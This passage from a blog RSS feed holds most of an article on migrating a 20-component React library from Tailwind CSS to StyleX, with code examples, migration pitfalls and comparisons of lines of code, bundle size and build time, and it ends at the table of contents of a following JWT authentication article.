&lt;p&gt;StyleX strips unused styles at compile time. There is no PurgeCSS config, no safelist, and no wondering why an unused class is still in the output.&lt;/p&gt;
&lt;p&gt;I tested this directly. Every StyleX component in the migration included a &lt;code&gt;_deadStyles&lt;/code&gt; object that was never referenced:&lt;/p&gt;
&lt;pre class=&quot;language-typescript hljs&quot;&gt;const _deadStyles = stylex.create({
  neverUsed: {
    backgroundColor: &#39;hotpink&#39;,
    padding: &#39;999px&#39;,
  },
});
&lt;/pre&gt;
&lt;p&gt;After building, those dead styles did not appear in the CSS output. With &lt;code&gt;treeshakeCompensation: true&lt;/code&gt;, unreferenced &lt;code&gt;stylex.create()&lt;/code&gt; calls were stripped entirely.&lt;/p&gt;
&lt;p&gt;Tailwind gets to a similar result from the opposite direction: it scans your source for utility classes and generates only what it finds. Both systems can eliminate unused CSS. The difference is the model. Tailwind scans markup; StyleX analyzes style objects at compile time.&lt;/p&gt;
&lt;h3 id=&quot;compile-time-constants-stylex-env&quot;&gt;Compile-time constants with &lt;code&gt;stylex.env&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;StyleX also supports compile-time constants through &lt;code&gt;stylex.env&lt;/code&gt;, which is useful for feature flags, platform checks, and debug-only styles.&lt;/p&gt;
&lt;p&gt;Here is the pattern:&lt;/p&gt;
&lt;pre class=&quot;language-typescript hljs&quot;&gt;// stylex.env.ts
export const DEBUG_MODE = process.env.DEBUG_STYLEX === &#39;true&#39;;
export const PLATFORM = process.env.PLATFORM || &#39;web&#39;;
&lt;/pre&gt;
&lt;p&gt;Then in a component:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;import { DEBUG_MODE } from &#39;@/stylex.env&#39;;

if (DEBUG_MODE) {
  var debugStyles = stylex.create({
    outline: { outline: &#39;2px solid red&#39; },
  });
}

return (
  &amp;lt;div sx={[styles.base, ...(DEBUG_MODE ? [debugStyles.outline] : [])]}&amp;gt;
    {children}
  &amp;lt;/div&amp;gt;
);
&lt;/pre&gt;
&lt;p&gt;When &lt;code&gt;DEBUG_STYLEX=true&lt;/code&gt;, the debug styles are included. In production, the branch can be eliminated. Tailwind can conditionally apply classes at runtime, but if those classes appear in source, they are still candidates for generation.&lt;/p&gt;
&lt;h3 id=&quot;more-explicit-variant-styling&quot;&gt;More explicit variant styling&lt;/h3&gt;
&lt;p&gt;The biggest difference showed up in variant-heavy components. Here is a simplified button example in Tailwind:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;const variantStyles = {
  primary: &#39;bg-blue-600 text-white hover:bg-blue-700 focus:ring-blue-500&#39;,
  secondary: &#39;bg-gray-200 text-gray-900 hover:bg-gray-300 focus:ring-gray-500&#39;,
};

const sizeStyles = {
  sm: &#39;px-3 py-1.5 text-sm&#39;,
  md: &#39;px-4 py-2 text-base&#39;,
  lg: &#39;px-6 py-3 text-lg&#39;,
};

const combinedClassName =
  `${baseStyles} ${variantStyles[variant]} ${sizeStyles[size]}`.trim();

return &amp;lt;button className={combinedClassName}&amp;gt;{children}&amp;lt;/button&amp;gt;;
&lt;/pre&gt;
&lt;p&gt;It is compact, but the styling contract is mostly string-based. If a variant key is wrong, the bug may not show up until runtime.&lt;/p&gt;
&lt;p&gt;Here is the same pattern with the newer StyleX syntax:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;const styles = stylex.create({
  base: {
    display: &#39;inline-flex&#39;,
    alignItems: &#39;center&#39;,
    borderRadius: spacing[2],
  },
  primary: {
    backgroundColor: colors.primary,
    color: colors.white,
  },
  secondary: {
    backgroundColor: colors.gray200,
    color: colors.gray900,
  },
  sm: {
    paddingInline: spacing[3],
    paddingBlock: spacing[1.5],
    fontSize: typography.sm,
  },
});

return (
  &amp;lt;button sx={[styles.base, styles[variant], styles[size]]}&amp;gt;
    {children}
  &amp;lt;/button&amp;gt;
);
&lt;/pre&gt;
&lt;p&gt;It is longer, but invalid tokens and style keys are easier to catch. That is the repeated trade-off across the migration: Tailwind is shorter; StyleX is stricter.&lt;/p&gt;
&lt;h2 id=&quot;where-tailwind-still-wins&quot;&gt;Where Tailwind still wins&lt;/h2&gt;
&lt;p&gt;The migration also made Tailwind’s strengths clearer. StyleX won on correctness, but Tailwind still wins in several areas that matter in day-to-day product work.&lt;/p&gt;
&lt;h3 id=&quot;prototyping-speed&quot;&gt;Prototyping speed&lt;/h3&gt;
&lt;p&gt;Tailwind is still faster for throwaway UI and fast iteration. You stay in JSX, add utility classes inline, and see changes quickly.&lt;/p&gt;
&lt;p&gt;StyleX requires defining styles in a &lt;code&gt;stylex.create()&lt;/code&gt; call before referencing them, even with &lt;code&gt;sx={}&lt;/code&gt;. That extra step is reasonable in a component library, but it slows down one-off UI work.&lt;/p&gt;
&lt;h3 id=&quot;ecosystem&quot;&gt;Ecosystem&lt;/h3&gt;
&lt;p&gt;Tailwind has a massive public ecosystem: shadcn/ui, Headless UI, Radix-based examples, Tailwind component libraries, templates, snippets, tutorials, and thousands of copy-paste components.&lt;/p&gt;
&lt;p&gt;StyleX has strong internal adoption at Meta and growing public adoption, but the public ecosystem is much smaller. If you adopt StyleX today, you should expect to build more of your component system yourself.&lt;/p&gt;
&lt;h3 id=&quot;learning-curve&quot;&gt;Learning curve&lt;/h3&gt;
&lt;p&gt;Tailwind’s mental model is easy to pick up: utilities map directly to CSS properties.&lt;/p&gt;
&lt;p&gt;StyleX requires developers to understand a few more constraints:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Style objects must be statically analyzable&lt;/li&gt;
&lt;li&gt;Token imports need to follow the compiler’s expectations&lt;/li&gt;
&lt;li&gt;Dynamic keys often need explicit maps&lt;/li&gt;
&lt;li&gt;Conditional styles need to produce valid StyleX style objects&lt;/li&gt;
&lt;li&gt;CSS layer ordering matters when StyleX coexists with another CSS system&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;None of that is impossible, but it is a real onboarding cost.&lt;/p&gt;
&lt;h3 id=&quot;community-content&quot;&gt;Community content&lt;/h3&gt;
&lt;p&gt;When you hit a Tailwind issue, there is usually a GitHub discussion, Stack Overflow answer, Discord thread, or tutorial somewhere. This is similar to the kind of robust community support you get with well-established &lt;a href=&quot;https://blog.logrocket.com/best-react-chart-libraries-2026/&quot;&gt;React chart libraries&lt;/a&gt; versus newer alternatives.&lt;/p&gt;
&lt;p&gt;With StyleX, you are more likely to read official docs, source code, or examples from early adopters. That is improving, but it is not the same support surface.&lt;/p&gt;
&lt;h2 id=&quot;migration-issues-i-hit&quot;&gt;Migration issues I hit&lt;/h2&gt;
&lt;p&gt;These are the issues that cost me time during the migration. They are the kind of details that rarely show up in a quick hello-world example.&lt;/p&gt;
&lt;h3 id=&quot;barrel-exports-broke-token-resolution&quot;&gt;Barrel exports broke token resolution&lt;/h3&gt;
&lt;p&gt;This was the most painful discovery. I started with a clean token architecture: four &lt;code&gt;.stylex.ts&lt;/code&gt; files re-exported through a barrel &lt;code&gt;index.ts&lt;/code&gt;. Every import looked like this:&lt;/p&gt;
&lt;pre class=&quot;language-typescript hljs&quot;&gt;import { colors, spacing } from &#39;@/tokens&#39;;
&lt;/pre&gt;
&lt;p&gt;The build failed. The StyleX Babel plugin performs static analysis on token resolution, and in this setup it needed to see the actual &lt;code&gt;stylex.defineVars()&lt;/code&gt; call at the import path.&lt;/p&gt;
&lt;p&gt;The fix was direct imports:&lt;/p&gt;
&lt;pre class=&quot;language-typescript hljs&quot;&gt;// This broke the build
import { colors, spacing } from &#39;@/tokens&#39;;

// This worked
import { colors } from &#39;@/tokens/colors.stylex&#39;;
import { spacing } from &#39;@/tokens/spacing.stylex&#39;;
&lt;/pre&gt;
&lt;p&gt;Seven components needed this fix. If you are migrating, skip the token barrel export and import from &lt;code&gt;.stylex.ts&lt;/code&gt; files directly from the start. Tools like &lt;a href=&quot;https://blog.logrocket.com/finding-unused-and-ghost-dependencies-with-knip/&quot;&gt;Knip can help identify unused and ghost dependencies&lt;/a&gt; in your project before you begin a migration like this.&lt;/p&gt;
&lt;h3 id=&quot;raw-inline-keyframes-stylex-create&quot;&gt;Raw inline &lt;code&gt;@keyframes&lt;/code&gt; did not belong in &lt;code&gt;stylex.create()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Skeleton and Toast components failed when I tried to define raw &lt;code&gt;@keyframes&lt;/code&gt; blocks inside &lt;code&gt;stylex.create()&lt;/code&gt;. That pattern works in some CSS-in-JS libraries, but it was the wrong StyleX API.&lt;/p&gt;
&lt;p&gt;The right fix is to use &lt;code&gt;stylex.keyframes()&lt;/code&gt; when the animation can be expressed through StyleX, or keep complex/global animation definitions in a regular CSS file. The important lesson is not “StyleX cannot do keyframes,” because it can. The lesson is that keyframes have a specific API and cannot be dropped into a style object as raw CSS.&lt;/p&gt;
&lt;h3 id=&quot;dynamic-style-keys-needed-explicit-maps&quot;&gt;Dynamic style keys needed explicit maps&lt;/h3&gt;
&lt;p&gt;TypeScript cannot infer that a computed string like this will match a literal key on the style object:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;styles[`modal${size}`]
&lt;/pre&gt;
&lt;p&gt;Eight components hit this issue.&lt;/p&gt;
&lt;p&gt;The fix is a type-safe map:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;// This fails TypeScript
return &amp;lt;div sx={[styles.modal, styles[`modal${size}`]]} /&amp;gt;;

// This passes
const sizeStyleMap = {
  sm: styles.modalSm,
  md: styles.modalMd,
  lg: styles.modalLg,
};

return &amp;lt;div sx={[styles.modal, sizeStyleMap[size]]} /&amp;gt;;
&lt;/pre&gt;
&lt;p&gt;It is more verbose, but it catches invalid size values before they become broken styles. If you find yourself reaching for advanced TypeScript patterns here, the &lt;a href=&quot;https://blog.logrocket.com/typescript-utility-types-probably-underusing/&quot;&gt;TypeScript utility types you may be underusing&lt;/a&gt; are worth reviewing before you start your migration.&lt;/p&gt;
&lt;h3 id=&quot;falsy-values-sx-arrays&quot;&gt;Falsy values did not work in &lt;code&gt;sx&lt;/code&gt; arrays&lt;/h3&gt;
&lt;p&gt;Tailwind developers often use &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; shorthand for conditional classes:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;`${isActive &amp;amp;&amp;amp; &#39;bg-blue-500&#39;}`
&lt;/pre&gt;
&lt;p&gt;In this StyleX setup, passing &lt;code&gt;false&lt;/code&gt; into an &lt;code&gt;sx&lt;/code&gt; array caused a TypeScript error because the prop expected style objects, not booleans.&lt;/p&gt;
&lt;p&gt;I had to build arrays conditionally:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;// This fails
&amp;lt;tr sx={[styles.tr, isStriped &amp;amp;&amp;amp; styles.trStriped]} /&amp;gt;;

// This works
const trStyles = [styles.tr];

if (isStriped) {
  trStyles.push(styles.trStriped);
}

&amp;lt;tr sx={trStyles} /&amp;gt;;
&lt;/pre&gt;
&lt;p&gt;This is small in isolation, but it affects almost every component with conditional styling.&lt;/p&gt;
&lt;h3 id=&quot;css-layer-ordering-strict&quot;&gt;CSS layer ordering was strict&lt;/h3&gt;
&lt;p&gt;My first build failed because &lt;code&gt;globals.css&lt;/code&gt; had &lt;code&gt;@layer&lt;/code&gt; declarations before the &lt;code&gt;@import &quot;tailwindcss&quot;&lt;/code&gt; statement.&lt;/p&gt;
&lt;p&gt;Webpack enforced the CSS spec strictly: &lt;code&gt;@import&lt;/code&gt; rules must come before all other rules except &lt;code&gt;@charset&lt;/code&gt; and &lt;code&gt;@layer&lt;/code&gt;. Moving the Tailwind import to the top fixed the build, but the error message was not especially clear.&lt;/p&gt;
&lt;h2 id=&quot;real-numbers&quot;&gt;The real numbers&lt;/h2&gt;
&lt;p&gt;Here is where the migration became less subjective.&lt;/p&gt;
&lt;h3 id=&quot;lines-of-code&quot;&gt;Lines of code&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot;&gt;The following table shows the lines of code per component:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th style=&quot;text-align: right;&quot;&gt;Tailwind LOC&lt;/th&gt;
&lt;th style=&quot;text-align: right;&quot;&gt;StyleX LOC&lt;/th&gt;
&lt;th style=&quot;text-align: right;&quot;&gt;Growth&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Container&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;31&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;118&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;+280%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Grid&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;43&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;121&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;+181%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Navbar&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;129&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;291&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;+126%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Modal&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;104&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;226&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;+117%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stack&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;57&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;123&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;+116%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TextInput&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;76&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;167&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;+120%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Select&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;153&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;293&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;+92%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DataTable&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;128&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;245&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;+91%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Card&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;91&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;141&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;+55%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Skeleton&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;61&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;95&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;+56%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Total, 20 components&lt;/strong&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;&lt;strong&gt;1,568&lt;/strong&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;&lt;strong&gt;3,143&lt;/strong&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;&lt;strong&gt;+100.5%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-top: 15px;&quot;&gt;StyleX doubled the codebase. Most of the growth came from explicit style maps and responsive styles written as full objects instead of Tailwind’s compact responsive prefixes.&lt;/p&gt;&lt;iframe id=&quot;podrocket-plug&quot; style=&quot;border-radius:12px&quot; src=&quot;https://open.spotify.com/embed/playlist/4SgASJ9N3B8TsNaNquHm0u?utm_source=generator&quot; width=&quot;100%&quot; height=&quot;352&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot; allow=&quot;autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture&quot; loading=&quot;lazy&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
&lt;/iframe&gt;
&lt;style&gt;
#podrocket-plug {
  border-radius: 12px;
  width: 75%;
  height: 352px;
  margin: 1rem auto;
  display: block;
}
&lt;/style&gt;
&lt;p&gt;The important nuance is that component logic did not double. Event handlers, state, and conditional rendering stayed mostly the same. The extra lines were styling definitions. The growth was predictable and mechanical, but it was still real.&lt;/p&gt;
&lt;h3 id=&quot;css-bundle-size&quot;&gt;CSS bundle size&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot;&gt;The following table shows the CSS output comparison:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Scenario&lt;/th&gt;
&lt;th style=&quot;text-align: right;&quot;&gt;CSS output&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Tailwind only&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;20,379 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;StyleX only&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;20,561 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-top: 15px;&quot;&gt;The CSS output was almost identical. Tailwind generated utility classes; StyleX generated atomic CSS rules. For this 20-component library, neither produced a meaningful bundle-size advantage.&lt;/p&gt;
&lt;h3 id=&quot;build-time&quot;&gt;Build time&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot;&gt;The following table shows the build time comparison:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Framework&lt;/th&gt;
&lt;th style=&quot;text-align: right;&quot;&gt;Median cold build, 3 runs&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Tailwind only&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;8.0s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;StyleX only&lt;/td&gt;
&lt;td style=&quot;text-align: right;&quot;&gt;7.4s&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-top: 15px;&quot;&gt;There was no meaningful build-time difference. StyleX’s Babel setup adds compilation work, but in this project the final build time still landed in the same range.&lt;/p&gt;
&lt;p&gt;I would not use this result to claim StyleX is faster than Tailwind. I would use it to say that, for this component set, StyleX did not add a build-time penalty large enough to affect the decision.&lt;/p&gt;
&lt;h2 id=&quot;where-each-tool-fits&quot;&gt;Where each tool fits&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot;&gt;StyleX is not a faster, smaller, simpler Tailwind. It solves a different problem.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Need&lt;/th&gt;
&lt;th&gt;Tailwind&lt;/th&gt;
&lt;th&gt;StyleX&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Fast prototyping&lt;/td&gt;
&lt;td&gt;Excellent&lt;/td&gt;
&lt;td&gt;More boilerplate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type-safe styling at scale&lt;/td&gt;
&lt;td&gt;Requires extra tooling and discipline&lt;/td&gt;
&lt;td&gt;Built in&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unused CSS elimination&lt;/td&gt;
&lt;td&gt;Strong with content scanning&lt;/td&gt;
&lt;td&gt;Strong with compile-time extraction&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Design token safety&lt;/td&gt;
&lt;td&gt;Mostly string/config-driven&lt;/td&gt;
&lt;td&gt;Typed variables and constants&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Runtime style merging&lt;/td&gt;
&lt;td&gt;Manual &lt;code&gt;className&lt;/code&gt; composition&lt;/td&gt;
&lt;td&gt;Compiled/merged through StyleX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Public ecosystem&lt;/td&gt;
&lt;td&gt;Very strong&lt;/td&gt;
&lt;td&gt;Still smaller&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reusable component libraries&lt;/td&gt;
&lt;td&gt;Good, but string-heavy&lt;/td&gt;
&lt;td&gt;Strong fit when consumers also use StyleX&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-top: 15px;&quot;&gt;Use StyleX for design-system-backed production apps where type safety, token consistency, and predictable style composition matter more than raw speed. If your team maintains a shared component library and has been burned by silent styling bugs, the extra LOC may be a reasonable price.&lt;/p&gt;
&lt;p&gt;Use Tailwind for prototypes, content sites, marketing pages, and teams that benefit from the Tailwind ecosystem. If you are shipping quickly with shadcn/ui, Headless UI, and existing Tailwind patterns, StyleX’s safety may not justify the migration cost.&lt;/p&gt;
&lt;p&gt;They are not really competing for the same job. Tailwind wins on speed and ecosystem. StyleX wins on correctness and safety. The &lt;code&gt;sx={}&lt;/code&gt; prop makes StyleX comfortable enough that the decision can finally be about project needs instead of syntax alone.&lt;/p&gt;
&lt;h2 id=&quot;what-i-would-change-migration-plan-next-time&quot;&gt;What I would change in the migration plan next time&lt;/h2&gt;
&lt;p&gt;If I were doing this migration again, I would make a few changes up front:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Start with the most variant-heavy components, not the simplest ones&lt;/li&gt;
&lt;li&gt;Add token files early and import them directly, not through barrels&lt;/li&gt;
&lt;li&gt;Decide the CSS layer order before migrating components&lt;/li&gt;
&lt;li&gt;Write a small conditional-style helper for repeated &lt;code&gt;sx&lt;/code&gt; array patterns&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;stylex.keyframes()&lt;/code&gt; for animations instead of trying to copy CSS-in-JS patterns directly&lt;/li&gt;
&lt;li&gt;Keep Tailwind available during migration so each component can be compared before the old version is removed&lt;/li&gt;
&lt;li&gt;Track mistakes caught by TypeScript, not just bundle size and build time&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That last point matters most. If you only track bundle size, this migration looks like a wash. If you track how many styling mistakes are caught before runtime, StyleX starts to look more valuable. This same principle applies broadly: when &lt;a href=&quot;https://blog.logrocket.com/react-compiler-memoization-what-actually-broke/&quot;&gt;React Compiler handles memoization&lt;/a&gt;, you also need to look beyond surface metrics to understand what actually changed.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I expected StyleX to win on bundle size and lose on everything else. That is not what happened.&lt;/p&gt;
&lt;p&gt;Bundle size was a wash. Build time was a wash. The metric that actually separated the two was type safety. During the migration, TypeScript caught misspelled token names, invalid variant keys, and broken conditional style arrays before anything rendered in the browser. In the Tailwind versions, those mistakes would have been easier to ship silently.&lt;/p&gt;
&lt;p&gt;So the decision point is straightforward: Is that safety worth doubling your styling LOC, making several setup decisions before writing a single component, and building more of your component ecosystem yourself?&lt;/p&gt;
&lt;p&gt;For a production component library, especially one with shared tokens and lots of variants, I think StyleX has a real argument. For a small team moving quickly with existing Tailwind patterns and public component libraries, Tailwind is still the better tool.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;sx={}&lt;/code&gt; prop is what makes this a real choice. Before it, the developer experience gap made the comparison easier to dismiss. Now the trade-off is clearer: Tailwind gives you speed and ecosystem. StyleX gives you stricter guarantees. Pick the one that matches the cost you are actually trying to reduce. If you are evaluating other modern CSS approaches as well, it is worth exploring how &lt;a href=&quot;https://blog.logrocket.com/css-contrast-color-auto-contrast/&quot;&gt;CSS contrast-color() handles auto-contrast&lt;/a&gt; and how &lt;a href=&quot;https://blog.logrocket.com/css-staggered-animations/&quot;&gt;CSS staggered animations&lt;/a&gt; work as part of a broader styling strategy.&lt;/p&gt;



&lt;/div&gt;
            &lt;style&gt;
    .share-icon.share-twitter span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-twitter.svg&quot;);
    }

    .share-icon.share-reddit span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-reddit.svg&quot;);
    }

    .share-icon.share-linkedin span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-linkedin.svg&quot;);
    }

    .share-icon.share-facebook span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-facebook.svg&quot;);
    }
&lt;/style&gt;

            &lt;ul id=&quot;post-tags&quot;&gt;
            &lt;li&gt;
        &lt;a rel=&quot;tag&quot; href=&quot;https://blog.logrocket.com/tag/css/&quot;&gt;#css&lt;/a&gt;
        &lt;/li&gt;
            &lt;li&gt;
        &lt;a rel=&quot;tag&quot; href=&quot;https://blog.logrocket.com/tag/tailwind/&quot;&gt;#tailwind&lt;/a&gt;
        &lt;/li&gt;
    &lt;/ul&gt;
            &lt;!-- This is where popips should go --&gt;
            &lt;div id=&quot;popups&quot;&gt;&lt;/div&gt;
        &lt;/div&gt;
    </description><link>https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/</link><guid isPermaLink="false">https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/</guid><pubDate>Invalid Date</pubDate><author>Chizaram Ken</author></item><item><title>JWT authentication: Best practices and when to use it</title><description>&lt;aside&gt;
            &lt;div class=&quot;sticky&quot;&gt;
                                
&lt;div class=&quot;toc-container&quot; id=&quot;post-toc&quot;&gt;
            &lt;div class=&quot;toc-header&quot;&gt;
            &lt;span class=&quot;toc-title&quot;&gt;
                Table of contents            &lt;/span&gt;
            &lt;i class=&quot;fa fa-chevron-down toc-collapse&quot;&gt;&lt;/i&gt;
            &lt;i class=&quot;hide fa fa-chevron-up toc-expand&quot;&gt;&lt;/i&gt;
        &lt;/div&gt;
        
&lt;ul data-toc-name=&quot;root&quot; class=&quot;toc&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#what-jwt&quot;&gt;What is JWT?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-jwt&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#how-jwts-work-user-authentication&quot;&gt;&lt;strong&gt;How are JWTs used in authentication?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-jwts-work-user-authentication&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#where-does-jwt-fit-in-oauth-2-and-oidc&quot;&gt;Where does JWT fit in OAuth 2.0 and OIDC?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;where-does-jwt-fit-in-oauth-2-and-oidc&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#problem-jwt-aims-solve&quot;&gt;Why should you use JWTs?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;problem-jwt-aims-solve&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#where-should-you-store-jwts&quot;&gt;Where should you store JWTs?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;where-should-you-store-jwts&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#how-do-refresh-tokens-and-token-expiration-work&quot;&gt;How do refresh tokens and token expiration work?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-do-refresh-tokens-and-token-expiration-work&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#access-token-expiration&quot;&gt;What is access token expiration?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;access-token-expiration&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#refresh-token-rotation&quot;&gt;What is refresh token rotation?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;refresh-token-rotation&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
